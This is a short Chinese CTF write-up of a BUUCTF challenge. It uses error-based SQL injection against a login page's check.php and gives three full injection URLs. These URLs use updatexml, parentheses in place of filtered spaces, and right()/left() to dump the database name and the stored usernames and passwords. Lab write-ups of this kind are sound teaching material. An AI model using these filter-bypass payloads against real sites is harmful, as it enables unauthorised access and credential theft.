本文最后更新于:2024年12月14日 下午
尝试了一下万能密码和堆叠注入都行不通。
普通方法不行,尝试报错注入,期间发现了不少绕过,待会细说。
遇到的第一个问题就是空格被过滤了,本来尝试用/**/
等方法绕过的,发现*
也被过滤了,完事就有新姿势了,利用括号代替空格
1
| http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat('~',database(),'~'),1))%23&password=123456
|
得到库名
接下来就一路狂飙
这里有个小插曲,=
被过滤了,可以用like,rlike ,regexp等绕过
直接跳过到爆数据
1
| http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(username,password))from(H4rDsq1)),%27~%27),1))%23&password=123
|
只显示了一半,本来想用substring截断读取
完事又被过滤了(操!!)
遂用right()
和left()
1
| http://c0178a9d-b673-4f6a-a363-45f971dad6db.node4.buuoj.cn:81/check.php?username=admin%27or(updatexml(1,concat('~',(select(right(group_concat(username,password),32))from(H4rDsq1)),'~'),1))%23&password=123
|
一次读一半,得到flag
搞定